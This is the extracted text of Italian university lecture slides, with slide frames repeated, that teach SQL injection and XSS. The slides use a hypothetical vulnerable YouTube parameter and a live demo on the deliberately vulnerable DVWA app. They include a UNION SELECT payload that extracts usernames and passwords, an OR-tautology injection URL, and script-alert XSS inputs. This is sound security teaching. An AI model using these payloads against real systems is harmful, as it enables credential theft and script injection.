SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
output
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
output
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Live Demo
18
Per i nostri primi test useremo la macchina virtuale a vostra disposizione sui computer del laboratorio. In particolare vedremo DVWA (Damn Vulnerable Web App)
Avviatela e puntate il vostro browser all’indirizzo: http://127.0.0.1:8080/dvwa/login.php
admin
admin
http://pralab.diee.unica.it
Damn Vulnerable Web App SQLi
20
Come posso verificare se esiste una vulnerabilità SQLi?
http://pralab.diee.unica.it
Damn Vulnerable Web App SQLi
20
Come posso verificare se esiste una vulnerabilità SQLi?
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=%27%2F**%2FOR%2F**%2F1%3D%271&Submit=Submit#
http://pralab.diee.unica.it
Damn Vulnerable Web App XSS
21
Come posso verificare se esiste una vulnerabilità XSS?
http://pralab.diee.unica.it
Damn Vulnerable Web App XSS
21
Come posso verificare se esiste una vulnerabilità XSS?
•http://127.0.0.1:8080/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27ciao!%27%29%3C%2Fscript%3E#
http://pralab.diee.unica.it
Damn Vulnerable Web App stored XSS
22
Come posso verificare se esiste una vulnerabilità XSS (stored)?
http://pralab.diee.unica.it
Damn Vulnerable Web App stored XSS
22
Come posso verificare se esiste una vulnerabilità XSS (stored)?
•ad esempio, inserite un messaggio ad hoc: •interessante!<script>alert('vulnerable')</script>
http://pralab.diee.unica.it
Live Demo
23
https://hack.me/101229/web-app-hack-tutorial.html
Per i nostri test più approfonditi useremo